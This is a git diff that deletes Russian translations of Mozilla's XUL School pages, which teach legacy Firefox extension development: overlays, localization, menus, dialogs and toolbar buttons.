-        label="&xulschoolhello.hello.label;"
-        accesskey="&xulschoolhello.helloItem.accesskey;"
-        oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" />
-    </menupopup>
-  </menu>
-</menupopup>
-
-
-
- -

Мы накладываем меню, которое глубже в дереве XUL, но это не важно, потому что всё, что нам нужно - это идентификатор (id) элемента, на который мы хотим наложить свой код. В данном случае это элемент menupopup, находящийся внутри элемента "Инструменты" ("Tools") в menu ("меню"). Атрибут "InsertBefore" диктует Firefox добавить меню в нижнюю часть раздела инструментов разработчика, над его конечным разделителем. Далее в учебнике мы поговорим о меню подробнее.

- -

Теперь давайте посмотрим на действительный код:

- -
-
-
oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);"
-
-
-
- -

Этот атрибут определяет обработчик события. Команда "event" ("событие") - наиболее часто используется в Firefox, так как она соответствует главному действию для большинства элементов пользовательского интерфейса. значение этого атрибута - код на JavaScript, вызывающий функцию. Эта функция определена в JS-файле, включенном ранее тегом "script". JS-функция будет вызвана, когда пользователь нажмёт на пункт меню "Привет Мир" ("Hello World"). Все обработчики событий, назначают специальный объект под названием "event" ("событие"), который обычно передаётся в качестве аргумента функции. Более подробно обработчики событий описаны ниже.

- -

Теперь давайте взглянем на файл JavaScript и посмотрим, что происходит, когда срабатывает событие.

- -
-
-
/**
- * XULSchoolChrome namespace.
- */
-if ("undefined" == typeof(XULSchoolChrome)) {
-  var XULSchoolChrome = {};
-};
-
-
- -

Определяется пространство имён "XULSchoolChrome". Все объекты и переменные, которые мы определяем в этом JavaScript носят всеобъемлющий характер, это означает, что скрипты в Firefox и других расширениях могут увидеть их и взаимодействовать с ними. Это также значит, что, если мы определим объект под названием "MenuHandler" ("ОбработчикСобытияМеню") или с иным типичным названием, то он, скорее всего, будет конфликтовать с существующим объектом. Так что, нам остаётся здесь сделать - это определить единый всеобъемлющий объект: "XULSchoolChrome". Теперь мы знаем, что все наши объекты находятся внутри этого объекта, который вряд ли будет продублирован или переписан другими расширениями.

- -

Вы можете прочитать больше об операторе "typeof". Если вы не знакомы с JavaScript или с этим синтаксисом, то вам будет интересно узнать, что инициализация объекта сочетанием фигурных скобок "{}" эквивалентна его инициализации строкой "new Object()".

- -
-
-
/**
- * Controls the browser overlay for the Hello World extension.
- */
-XULSchoolChrome.BrowserOverlay = {
-
-
- -

Наконец, BrowserOverlay - это наш объект. Именование и обращение к объектам таким длинным и подробным образом могут показаться поначалу некомфортными, но это оправдано.

- -
-
-
Мы используем стиль описания Javadoc во всех пространствах имён, объектах, а также членах объекта. Это такой же стандарт, как используется в коде Mozilla и некоторых инструментах, могущих автоматически порождать документацию из Javadoc.
-
-
- -
-
-
sayHello : function(aEvent) {
-  let stringBundle = document.getElementById("xulschoolhello-string-bundle");
-  let message = stringBundle.getString("xulschoolhello.greeting.label");
-
-  window.alert(message);
-}
-
-
- -

Объявление нашей функции. Три строки кода - это всё, что нужно для её работы. Первая строка в теле функции объявляет переменную "stringBundle", которая будет содержать элемент stringbundle, определённый в наложении. Переменная объявляется с помощью оператора "let" ("пусть"), похожего на var, но с более ограниченной областью. здесь вы можете подробнее прочитать об объявлении let.

- -

Для управления документом XUL, как и в обычном JS, мы можем использовать DOM (Document Object Model). Сначала мы получаем ссылку на элемент stringbundle в документе. Это специальный элемент, позволяющий динамически получать переведённые на нужный язык (локализованные) строки по предоставлении ему лишь "ключа", идентифицирующего текст. Это как-раз то, что мы делаем во второй строке кода. Мы вызываем метод getString элемента связки и получаем переведённое на нужный язык сообщение для показа. Затем мы вызываем функцию "window.alert" с сообщением - так же, как мы могли бы это сделать в HTML-документе.

- -

Локаль

- -

Есть два типа файлов перевода интерфейса (далее - локализации, на правах устоявшегося термина) на нужные языки: DTD и свойства. В этом примере мы используем оба типа. DTD - наиболее эффективный способ показа текста в XUL, поэтому вы должны по возможности использовать именно его. Он весьма негибкий и поэтому он не может быть использован для динамически создаваемого текста, поэтому нужен альтернативный способ получения локализованных строк.

- -

Оглядываясь на код меню, вы, вероятно, заметили, некоторые атрибуты, вроде этих:

- -
-
-
label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.helloItem.accesskey;"
-
-
- -

Эти атрибуты определяют текст, который вы видите в меню, и они являются строковыми ключами, определёнными в нашем DTD файле "browserOverlay.dtd". Файл DTD был вовлечён в файле XUL таким кодом:

- -
-
-
<!DOCTYPE overlay SYSTEM "chrome://xulschoolhello/locale/browserOverlay.dtd" >
-
-
- -

И в файле DTD можно увидеть связь между ключами и локализованными строками:

- -
-
-
<!ENTITY xulschoolhello.hello.label            "Hello World!">
-<!ENTITY xulschoolhello.helloMenu.accesskey    "l">
-<!ENTITY xulschoolhello.helloItem.accesskey    "H">
-
-
- -

Обратите внимание, что в файле XUL вы накладываете строковый ключ между амперсандом "&" и точкой с запятой ";", в то время как в файле DTD вы только указываете ключ. Вы можете получить непредсказуемые ошибки синтаксического разбора (парсинга) или неправильную локализацию, если не укажете это правильно.

- -

Клавиши быстрого доступа (также известны как "горячие клавиши". прим. пер.) - это ссылки, позволяющие вам быстро перемещаться по меню, используя только клавиатуру. Они также являются единственным способом навигации по меню для людей с ограниченными возможностями, такими, как частичная или полная слепота, или физическими недостатками, с которыми трудно или невозможно пользоваться мышью. Вы можете легко узнать горячую клавишу быстрого доступа в Windows, так как буква, соответствующая горячей клавише указывается, как на рисунке ниже (буква подчеркнута):

- -
-

-
- -

У большинства средств управления пользовательским интерфейсом есть атрибут "accesskey" ("клавиша быстрого доступа"), и его надо использовать. Значение клавиши доступа локализовано - привязано к языковому набору, потому что оно должно соответствовать букве в тексте названия пункта меню. Вам надо также делать всё возможное, чтобы избежать повторения горячей клавиши. Например, они не должны повторяться в пределах меню или подменю. В окне нужно особенно осторожно выбирать клавиши доступа, потому что там обычно ещё больше других средств управления. И особенно внимательно выбирайте клавиши доступа для наложения (Overlay). В нашем случае (в английской версии - прим. пер.) мы не можем использовать английскую букву "H" в качестве горячей клавиши в главном пункте меню, потому что это было бы то же самое как клавиша доступа в Меню "Help" ("помощь"). То же самое с буквой "W" и меню "Window" ("Окно") в Операционной системе "Mac OS". Так что мы остановились на букве "l".

- -

Значения для строк DTD проставляются тогда, когда документ загружается. Если вы запросите значение атрибута "label" у меню "Привет мир!", используя DOM, то вы получите локализованную строку, а не строку ключа. Вы не можете динамически изменять значение атрибута с новым DTD ключом, но можете установить новое значение:

- -
-
-
let helloItem = document.getElementById("xulschoolhello-hello-menu-item");
-
-// The alert will say "Hello World!"
-alert(helloItem.getAttribute("label"));
-// Wrong
-helloItem.setAttribute("label", "&xulschoolhello.hello2.label;");
-// Better
-helloItem.setAttribute("label", "Alternate message");
-// Right!
-helloItem.setAttribute("label", someStringBundle.getString("xulschoolhello.hello2.label"));
-
-
- -

По этой причине строки DTD - не универсальное решение на все случаи локализации, и по этой причине часто нам нужно включать связки строк в файлы XUL:

- -
-
-
<stringbundleset id="stringbundleset">
-  <stringbundle id="xulschoolhello-string-bundle"
-    src="chrome://xulschoolhello/locale/browserOverlay.properties" />
-</stringbundleset>
-
-
- -

Элемент "stringbundleset" ("строкСвязкаНабор") - это просто вместилище для элементов "stringbundle" (строкСвязка). В документе должна быть только одна причина, по которой мы накладываем "stringbundleset", находящийся в "browser.xul", отсюда очень общий идентификатор ("id"). Мы не включили атрибуты "insertbefore" ("вставитьПеред") или "insertafter" ("вставитьПосле"), потому что порядок следования связок строк не имеет значения. Элемент абсолютно невидим. Если вы не включите ни одного из атрибутов, задающих очерёдность в элементе накладки, то Firefox просто приложит ваш элемент в качестве последнего потомка родительского элемента.

- -

Всё, что нужно для "связки строк" (string bundle) - это идентификатор (чтобы иметь возможность получить элемент позже) и chrome-путь к файлу свойств. И, конечно, нужен сам файл свойств:

- -
-
-
xulshoolhello.greeting.label = Hi! How are you?
-
-
- -

Пробелы около знака равенства игнорируются. Так же, как в install.rdf, комментарии могут быть добавлены с помощью символа "#" в начале строки с комментарием.  Пустые строки тоже игнорируются.

- -

Вам пригодится уметь включать динамическое содержание как часть локализованных (переведённых на язык пользователя) строк. например, когда вы захотите информировать пользователя о некотором состоянии, связанном с расширением.  Например: "Найдено 5 слов по поисковому запросу". Первой мыслью, вероятно, будет просто объединять строки, и держать отдельно свойство "Найдено" и отдельно свойство "слов по ...".  Это плохая идея.  Это значительно усложняет работу переводчиков ("локализаторов"), кроме того, в разных языках правила грамматики могут полностью менять порядок слов в предложении. Поэтому в свойствах лучше использовать параметры:

- -
-
-
xulshoolhello.search.label = Found %S words matching the search query!
-
-
- -

Затем используйте "getFormattedString" вместо "getString", чтобы получить локализованную строку. Благодаря этому нам не нужно держать несколько свойств, и это облегчает жизнь переводчикам. Вы можете прочитать больше об этом в разделе "Форматирование текста" в Учебнике XUL ("XUL Tutorial"). Также обратите внимание на статью "Множественное число и локализация", охватывающую функцию "локализации" в Firefox, которая позволит дополнительно уточнить этот последний пример для обработки различных типов формы множественного числа, также зависящих от языков.

- -

Тема (скин)

- -

Отделка (styling. создание дизайна, стилизация) XUL очень похожа на отделку HTML. Мы рассмотрим некоторые различия, когда мы коснёмся коробочной модели XUL-а (XUL Box Model), и других более сложных тем. Есть не так много стилей, которые вы можете сделать для минимального меню и простейшего аварийного предупреждения (alert message), так что расширение "Привет, мир!" только включает пустой файл CSS и обязательный глобальный файл Скина:

- -
-
-
<?xml-stylesheet type="text/css" href="chrome://global/skin/"?>
-<?xml-stylesheet type="text/css"
-  href="chrome://xulschoolhello/skin/browserOverlay.css"?>
-
-
- -

Файл CSS всеобщей темы содержит стили по умолчанию для всех элементов XUL и окон. Когда забывают вовлечь этот файл в окно XUL, то обычно это приводит к интересным и часто к нежелательным результатам. В нашем случае нам действительно не нужно его вовлекать, так как мы накладываем основной файл XUL нашего браузера, а этот файл уже вовлекает в себя эту всеобщую таблицу стилей CSS. Вообще, лучше бы его всегда вовлекать. Так труднее сделать ошибку, не включив его. Если вам интересно, вы можете ввести chrome-путь в адресную строку и посмотреть файл.

- -

Мы коснулись всех файлов в расширении "Привет мир". Теперь вы должны иметь представление об основах участия в разработке расширений, так что теперь нам придется перейти прямо к настройке среды разработки. Но сначала небольшое упражнение.

- -

Упражнение

- -

Измените приветственное сообщение, которое отображается в окне предупреждения, и переместите меню "Привет мир" в меню "Инструменты", которому оно принадлежит. Заново упакуйте XPI и переустановите его. Вы можете просто перетащить файл XPI в браузер, и он будет установлен локально. Проверьте его и убедитесь, что изменения работают. Если у вас возникли проблемы при установке, вполне вероятно, что вы не воспроизвели структуру XPI правильно, возможно, добавив ненужные папки.

- -
Примечание: упаковка расширения действительно состоит только в создании ZIP архива содержимого главного каталога (папки) и последующем изменении расширения файла на ".XPI". Не пакуйте содержащий нужные данные каталог, а строго только его содержимое. Содержимое каталога, файлы chrome.manifest, install.rdf и другие файлы и каталоги должны быть в корневом каталоге архива. Если сжать ещё и содержащий каталог (имеется в виду ещё один уровень вложенности), то ваше расширение не будет загружаться.
- -

Имейте в виду, что в Firefox 4 и выше, в Windows и некоторых дистрибутивах Линукса, меню "Инструменты" по умолчанию скрыто. Оно может быть включено с помощью клавиши <ALT>.

- -

Когда закончите, можете посмотреть по этой ссылке решение: Hello World 2.

- -

{{ PreviousNext("XUL_School/Getting_Started_with_Firefox_Extensions", "XUL_School/Setting_Up_a_Development_Environment") }}

- -

Этот учебник сообществу Mozilla был любезно пожертвован фирмой Appcoast.

- -
 
diff --git "a/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\274\320\265\320\275\321\216_\320\270_\320\277\320\276\320\264\320\274\320\265\320\275\321\216/index.html" "b/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\274\320\265\320\275\321\216_\320\270_\320\277\320\276\320\264\320\274\320\265\320\275\321\216/index.html" deleted file mode 100644 index 8c2b96e4a9..0000000000 --- "a/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\274\320\265\320\275\321\216_\320\270_\320\277\320\276\320\264\320\274\320\265\320\275\321\216/index.html" +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Добавление меню и подменю -slug: XUL_School/Добавление_меню_и_подменю -translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_menus_and_submenus ---- -

{{ PreviousNext("XUL_School/Setting_Up_a_Development_Environment", "XUL_School/Adding_Toolbars_and_Toolbar_Buttons") }}

-

The Hello World example in the previous sections shows the two most common ways to add menus. In this section we'll look into more specialized menus and what you can do with them.

-

Adding a New Menu

-

We already saw how to add menus in overlays and, as you may have imagined, you can nest submenus as deep as you want. You should avoid having deep menus or too many options, since they are confusing for most users.

-

If your extension requires custom XUL windows, you may also need to have menus on those windows. You can do this with a menubar. The menubar element should be a child of a toolbox element because it is treated like another toolbar on systems other than Mac OS X.

-
-

Mac OS X treats menus in a very different way than other systems. If your extension involves menus in any way, you should test it on Mac OS X to make sure everything works adequately.

-
-

The toolbox should be positioned near the top of the XUL document, and the code should be similar to this:

-
<toolbox>
-  <menubar id="xulschoolhello-menubar">
-    <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;">
-      <menupopup>
-        <menuitem label="&xulschoolhello.greet.short.label;"
-          oncommand="XULSchoolChrome.GreetingDialog.greetingShort(event);" />
-        <menuitem label="&xulschoolhello.greet.medium.label;"
-          oncommand="XULSchoolChrome.GreetingDialog.greetingMedium(event);" />
-        <menuitem label="&xulschoolhello.greet.long.label;"
-          oncommand="XULSchoolChrome.GreetingDialog.greetingLong(event);" />
-        <menuseparator />
-        <menuitem label="&xulschoolhello.greet.custom.label;"
-          oncommand="XULSchoolChrome.GreetingDialog.greetingCustom(event);" />
-      </menupopup>
-    </menu>
-  </menubar>
-</toolbox> 
-

This code displays a simple menu with options for 3 different types of greetings, a menuseparator, and finally an option to show a custom greeting. The separator is usually displayed as a horizontal line that creates a logical division between different types of menuitem elements, keeping everything more organized.

-

A menubar can hold one or more menu elements. Menus require a menupopup element as a container for its children, which are usually menuitem elements, but can also be menuseparator, or menu in order to have multiple nesting levels:

-
<toolbox>
- <menubar id="xulschoolhello-menubar">
-    <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;">
-      <menupopup>
-        <menu id="xulschoolhello-greeting-sizes-menu" label="&xulschoolhello.greetingSizes.label;">
-          <menupopup>
-            <menuitem label="&xulschoolhello.greet.short.label;"
-              oncommand="XULSchoolChrome.GreetingDialog.greetingShort(event);" />
-            <menuitem label="&xulschoolhello.greet.medium.label;"
-              oncommand="XULSchoolChrome.GreetingDialog.greetingMedium(event);" />
-            <menuitem label="&xulschoolhello.greet.long.label;"
-              oncommand="XULSchoolChrome.GreetingDialog.greetingLong(event);" />
-          </menupopup>
-        </menu>
-        <menuitem label="&xulschoolhello.greet.custom.label;"
-          oncommand="XULSchoolChrome.GreetingDialog.greetingCustom(event);" />
-      </menupopup>
-    </menu>
-  </menubar>
-</toolbox> 
-

In this case we grouped the 3 greeting items into a submenu. It doesn't make much sense to do that in this case because we end up with only two menu items, one of them being a menu with 3 child items.

-

You can also have menus that are filled dynamically. Instead of setting the menupopup directly in the XUL, you can use the onpopupshowing event to fill the children when the popup is about to be displayed. DOM functions like createElement and appendChild can be used to accomplish this.

-
-

If you have nothing to show on a menu, you should follow the standard used in Firefox: show a single disabled item with an "(Empty)" label.

-

If filling your menu takes a noticeable amount of time, you should not make Firefox (and your users) wait for it to fill up before displaying anything. It's best to show an item with a throbber image (see chrome://global/skin/icons/loading_16.png) so the user knows there's something going on, and asynchronously fill its contents. We'll look into some asynchronous techniques further ahead in the tutorial.

-
-

Adding Elements to Existing Menus

-

Just as explained in the previous sections, the best place to overlay your extension menu is inside the Tools menu. That is, unless there's a place inside the menu structure where your extension menus make more sense. If you're overlaying the Tools menu, your overlay code should have something like this:

-
<menupopup id="menu_ToolsPopup">
-  <menu id="xulschoolhello-hello-menu" label="&xulschoolhello.hello.label;"
-    accesskey="&xulschoolhello.helloMenu.accesskey;"
-    insertafter="javascriptConsole,devToolsSeparator">
-    <menupopup>
-      <!-- Your menuitem goes here. -->
-    </menupopup>
-  </menu>
-</menupopup> 
-

Now let's look at some specialized types of menu items.

- -

Checkbox Menu Items

-

You can make a menuitem "checkable" to allow the user to enable/disable options using the menu. We use two attributes for this: type and checked. The type attribute must be set to "checkbox". You can set the checked attribute to "true" to check it by default.

-

The item's checked state changes when the user clicks on it. An example of one such item is the View > Status Bar item in the main Firefox menu.

-

Radio Menu Items

-

If you need to have a set of menuitem elements where only one of them has to be checked at any given moment, you should set the type to "radio". The name attribute is used to identify the items that belong to the radio group.

-
<menupopup oncommand="XULSchoolChrome.HW.GreetingDialog.greeting(event);">
-  <menuitem type="radio" name="xulschoolhello-greeting-radio"
-    label="&xulschoolhello.greet.short.label;" checked="true" />
-  <menuitem type="radio" name="xulschoolhello-greeting-radio"
-    label="&xulschoolhello.greet.medium.label;" />
-  <menuitem type="radio" name="xulschoolhello-greeting-radio"
-    label="&xulschoolhello.greet.long.label;" />
-</menupopup> 
-

This is a modified version of the 3 greeting menus. It is now implemented as a radio menu where you pick one of the 3 available choices. The first one is checked by default. The oncommand attribute is set on the menupopup to avoid code duplication, since now the 3 items call the same function.

-

Another example of a menu like this is the View > Sidebars menu. Only one sidebar is visible at any given moment, and you can pick from several.

- -

To add an icon to a menu or menuitem, set its class to "menu-iconic" or "menuitem-iconic" respectively, and set the image attribute or the list-style-image CSS property. Menu icons are typically 16px by 16px.

- -

As mentioned earlier, menus are very different on Mac OS X. This is because menus on Mac are located in a single menu bar which is controlled by the operating system, as opposed to menus in other systems, which are entirely controlled by Firefox. Mac OS X also has menu standards, such as the positioning of certain items that are not used in other systems. Here's a list of the known issues we've run into when handling menus on Mac:

- -

{{ PreviousNext("XUL_School/Setting_Up_a_Development_Environment", "XUL_School/Adding_Toolbars_and_Toolbar_Buttons") }}

-

This tutorial was kindly donated to Mozilla by Appcoast.

diff --git "a/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\276\320\272\320\276\320\275_\320\270_\320\264\320\270\320\260\320\273\320\276\320\263\320\276\320\262/index.html" "b/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\276\320\272\320\276\320\275_\320\270_\320\264\320\270\320\260\320\273\320\276\320\263\320\276\320\262/index.html" deleted file mode 100644 index 1d77564aac..0000000000 --- "a/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\276\320\272\320\276\320\275_\320\270_\320\264\320\270\320\260\320\273\320\276\320\263\320\276\320\262/index.html" +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Добавление окон и диалогов -slug: XUL_School/Добавление_окон_и_диалогов -translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_windows_and_dialogs ---- -

PreviousNext("XUL_School/The_Box_Model", "XUL_School/Adding_sidebars") }}

-

Opening windows and dialogs

-

To open a new window, use the Javascript window.open function just like with HTML windows.

-
-
-
window.open(
-  "chrome://xulschoolhello/content/someWindow.xul",
-  "xulschoolhello-some-window",
-  "chrome,centerscreen");
-
-
-

The first argument is the URL to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window. If this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want. The window.open page has a detailed description of the features you can use and their values. The following features are very important and you should always keep them in mind:

- -

To open a new dialog, use the function window.openDialog, an extension of the open function. It allows you to send a set of optional parameters that can be used to communicate with the dialog.

-
-
-
let someValue = 2;
-let returnValue = { accepted : false , result : "" };
-
-window.openDialog(
-  "chrome://xulschoolhello/content/someDialog.xul",
-  "xulschoolhello-some-dialog", "chrome,centerscreen",
-  someValue, returnValue); // you can send as many extra parameters as you need.
-
-// if (returnValue.accepted) { do stuff }
-
-
-

The optional parameters are available in the dialog code through the window.arguments property:

-
-
-
let someValue = window.arguments[0];
-let returnValue = window.arguments[1];
-
-// returnValue.accepted = true;
-// returnValue.result = "something";
-
-
-
-

The parameter named returnValue is an object that the dialog will modify to reflect what the user did in it. This is the simplest way to have the dialog return something to its opener. Note that the opener will wait until the dialog is closed. This means the openDialog function call will not return until the dialog has been closed by the user.

-

Common Dialogs and the Prompt Service

-

There are several types of dialogs that are fairly common, so there are ways to create them easily without having to reinvent the wheel and write all their XUL and JS code all over again. Whenever you need a new dialog, you should ask yourself if it can be implemented using these common dialogs, and use them whenever it is possible. They have been thoroughly tested for OS integration, accessbility and localization, so you save yourself a lot of work and favor them.

-

Using the Prompt Service is the recommended way to create common dialogs in an extension. Read the article and its examples carefully, because there are many useful functions to use in the Prompt Service. There are some equivalent, simpler functions that are available in the window object, but those are meant for unprivileged HTML JavaScript code.

-

Alert

-

The alert is the simplest form of dialog. All it does is display a text message that the user can read and then click the OK button to dismiss it. We have been using the window.alert function to open alert messages in our examples so far, but that's not the right way to do it. It's OK to use this function if you're just debugging some problem and want to see if the program reaches a specific line of code, or to inspect the value of a variable, but your final extension should not have alert calls anywhere.

-

If you use window.alert, the alert window will have the title [JavaScript Application], indicating that the source of the message is not well defined. The Prompt Service allows better alerts to be displayed. Here's an example of displaying an alert using the Prompt Service:

-
-
-
let prompts =
-  Cc["@mozilla.org/embedcomp/prompt-service;1"].
-    getService(Ci.nsIPromptService);
-
-prompts.alert(window, "Alert Title", "Hello!");
-
-
-

You should of course use localized strings instead of hard-coded ones.

-

The Prompt Service allows you to set the title of the dialog however you want it, and also lets you specify the window you want to use as a parent for the alert. This normally should be set to the current window. You can pass a null value and the service will pick the currently active window.

-

Confirm

-

Confirmation dialogs display a text with a Yes / No question, and prompts the user to choose an answer. In HTML you can use the window.confirm function for this. The Prompt Service has a confirm method with similar behavior:

-
-
-
let prompts =
-  Cc["@mozilla.org/embedcomp/prompt-service;1"].
-    getService(Ci.nsIPromptService);
-
-if (prompts.confirm(window, "Confirm Title", "Would you like to continue?")) {
-  // do something.
-} else {
-  // do something else
-}
-
-
-

The method returns a boolean value indicating the user's response.

-

Others

-

Unprivileged Javascript can also use the window.prompt function to receive text input from the user. The Prompt Service has a very rich set of functions that allow different kinds of inputs, such as text, passwords, usernames and passwords, and checkboxes that can be used for "Never ask this again"-type dialogs. The confirmEx and prompt methods are the most customizable, allowing a great deal of options that cover most common dialog cases.

-

Using the Prompt Service will save you a lot of XUL coding, and you'll be at ease knowing that you're using Mozilla's tried and tested code.

-

The Dialog Element

-

When the Prompt Service is not enough, you'll have to create you own XUL dialogs. Luckily, you still get a great deal of help from the platform if you use the dialog element as the document root instead of the more generic window element.

-

You may be asking yourself what's the big deal about defining a simple XUL window with an OK and maybe a Cancel button. The dialogs we have covered in this section are very simple and shouldn't be too hard to implement manually using XUL. Well, it's more complicated than that. Different operating systems order and position their buttons differently in their dialogs. There are also subtle aspects about window size, margins and paddings that are not the same for all systems, so you should avoid making dialogs from scratch or overriding the default dialog CSS styles.

-

The dialog element handles all of this transparently. All you need to do is define which buttons you'll need and the actions associated with them.

-
-
-
<dialog id="xulschoolhello-hello-dialog"
-  title="&xulschoolhello.helloDialog.title;"
-  buttons="accept,cancel"
-  ondialogaccept="return XULSchoolChrome.HelloDialog.accept();"
-  ondialogcancel="return XULSchoolChrome.HelloDialog.cancel();"
-  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-
-
-

Carefully read the specification of the dialog element. You'll see that you can choose from a wide variety of buttons, associate any action you need to them, override their labels, and even add completely customized extra buttons. All of this without having to worry about your dialog looking odd in some operating systems. The only constant rule is that clicking on OK and Cancel will close the dialog unless your associated function returns false. You should avoid returning false, though, specially with the Cancel button. Dialogs in general should be easy to dismiss.

-
-
-

Your dialogs shouldn't have fixed dimensions because of potential localization problems. Dialogs are sized to their contents and will generally work fine. However, there are cases where the dialog contents are generated or expanded dynamically by your code, and you'll need to resize them appropriately. The window.sizeToContent function is what you need in this case.

-
-
-

Input Controls

-

Most additional XUL windows and dialogs in extensions are some kind of input form. Let's look into the most commonly used form elements and how to use them in your XUL windows. There isn't much we need to add from what the XUL Tutorial explains, so go ahead and read the following sections:

- -

There are some other aspects to take into account when handling input controls, which we cover in the following sections.

-

Groupboxes

-

The groupbox element should be easy to understand: it groups a series of XUL controls together. It's a box container with styling that is usually a visible border around its contents, so that it's clear what is being grouped together. It is frequently used with the caption element to associate the grouped elements with a title.

-

The groupbox shouldn't be seen as an aesthetic device, but a logical one. If all you need is a border, use CSS. The groupbox element should be used when enclosed elements share some function which is separate from other elements or groups in the same window. It's also a useful accessibility feature, because screen readers will read the caption right before reading any text in its contents. You can change its style using CSS in case you don't want the borders to appear. See the Firefox Preferences window for an example of this: sections are defined using groupbox elements, but their style is quite different from the default.

-

Attribute Persistence

-

User actions can change the state of your windows, such as selecting an option in a listbox, or entering text in a textbox. If the user closes and then reopens your window, all the controls are reset to their defaults, which may not be what you want. You need some way of remembering the user-manipulated attribute values so that the window reloads it last state when opened.

-

Most XUL elements support the persist attribute, which has this exact function. You set the persist attribute with a space-separated list of attribute names, indicating which attribute values must be persisted across window "sessions".

-
-
-
<checkbox id="xulschoolhello-some-checkbox"
-  label="&xulschoolhello.someText.label;"
-  checked="false" persist="checked" />
-
-
-

Setting the id attribute of the element is mandatory if you want the persist attribute to work. You can also set persistence programatically using the document.persist function:

-
-
-
document.persist("xulschoolhello-some-checkbox", "checked");
-
-
-

Persistent data is stored in the user profile, in the file localstore.rdf. You may need to modify or delete this file often when testing persistent data in your extension.

-

Focus and Tabbing

-

Moving through all input controls in a window using only the keyboard is an accessibility requirement. You can do this in most Firefox windows by pressing the Tab key. Each Tab key press moves you to the next control in the window, giving it focus.

-

In general, there's nothing you need to do in order to have good keyboard focus management. Firefox will automatically focus the first input control in your window, and tab focus advances in the order the items are found in the XUL document. If you have a very complex layout, or need customized tabbing behavior, you can set the tabindex attribute in the controls. You can also use the focus function to focus an element depending on events such as window load. You should do this carefully, to avoid having inaccessible controls.

-

You can also use the -moz-user-focus CSS property to enable focusing of elements that typically wouldn't receive focus. Again, this should be used sparingly.

-

{{ PreviousNext("XUL_School/The_Box_Model", "XUL_School/Adding_sidebars") }}

-

This tutorial was kindly donated to Mozilla by Appcoast.

diff --git "a/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\277\320\260\320\275\320\265\320\273\320\265\320\271_\320\270\320\275\321\201\321\202\321\200\321\203\320\274\320\265\320\275\321\202\320\276\320\262_\320\270_\320\272\320\275\320\276\320\277\320\276\320\272/index.html" "b/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\277\320\260\320\275\320\265\320\273\320\265\320\271_\320\270\320\275\321\201\321\202\321\200\321\203\320\274\320\265\320\275\321\202\320\276\320\262_\320\270_\320\272\320\275\320\276\320\277\320\276\320\272/index.html" deleted file mode 100644 index 60ec952087..0000000000 --- "a/files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\277\320\260\320\275\320\265\320\273\320\265\320\271_\320\270\320\275\321\201\321\202\321\200\321\203\320\274\320\265\320\275\321\202\320\276\320\262_\320\270_\320\272\320\275\320\276\320\277\320\276\320\272/index.html" +++ /dev/null @@ -1,214 +0,0 @@ ---- -title: Добавление панелей инструментов и кнопок -slug: XUL_School/Добавление_панелей_инструментов_и_кнопок -translation_of: >- - Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_Toolbars_and_Toolbar_Buttons ---- -

{{ PreviousNext("XUL_School/Adding_Menus_and_Submenus", "XUL_School/Adding_events_and_commands") }}

-

Панели инструментов

-

Adding new toolbars to Firefox is easy, but adding them the wrong way is very easy as well.

-

Toolbars in Firefox are very customizable. Some users don't like extra toolbars, or they want to rearrange toolbar buttons to their liking, possibly merging multiple toolbars in the process. Firefox allows all of this by default, and if you don't pay attention to the details we describe here, your toolbar may not be as easy to customize as the rest.

-

The first thing you need to do is add your buttons to the toolbar palette. The toolbarpalette is a collection of all toolbar buttons and toolbar items in Firefox, including those added by extensions. To add your buttons, all you need to do is overlay the palette in your main browser overlay.

-
<overlay id="xulschoolhello-browser-overlay"
-  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-  <toolbarpalette id="BrowserToolbarPalette">
-    <toolbarbutton id="xulschoolhello-hello-world-button"
-      class="toolbarbutton-1 chromeclass-toolbar-additional"
-      label="&xulschoolhello.helloWorld.label;"
-      tooltiptext="&xulschoolhello.helloWorld.tooltip;"
-      oncommand="XULSchoolChrome.BrowserOverlay.doSomething(event);" />
-    <!-- More buttons here. -->
-  </toolbarpalette>
-  <!-- More overlay stuff. -->
-</overlay>
-
-

One detail that is easy to overlook is the fact that the toolbarpalette element is outside of the window element. If you put the toolbarpalette element inside the window element in your overlay, some weird errors will begin to happen.

-
-

Always set the label and tooltiptext attributes of a toolbarbutton. In the case of a toolbaritem element (discussed later), use the title attribute instead of label. Tooltips are very important for users that want to know what a button does before clicking it.

-
-

Setting the image for a toolbar button is done with CSS:

-
#xulschoolhello-hello-world-button {
-  list-style-image: url("chrome://xulschoolhello/skin/hello-world.png");
-}
-
-

It's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different systems, and also consider the different button states, but we'll get into that further ahead.

-

The CSS file with your toolbar styles needs to be included in the overlay file, as you would expect, but also in the chrome.manifest file. This is very important because the toolbar customization dialog won't work correctly without this. The way to include the file in the manifest is to add this line:

-
style chrome://global/content/customizeToolbar.xul chrome://xulschoolhello/skin/toolbar.css
-
-

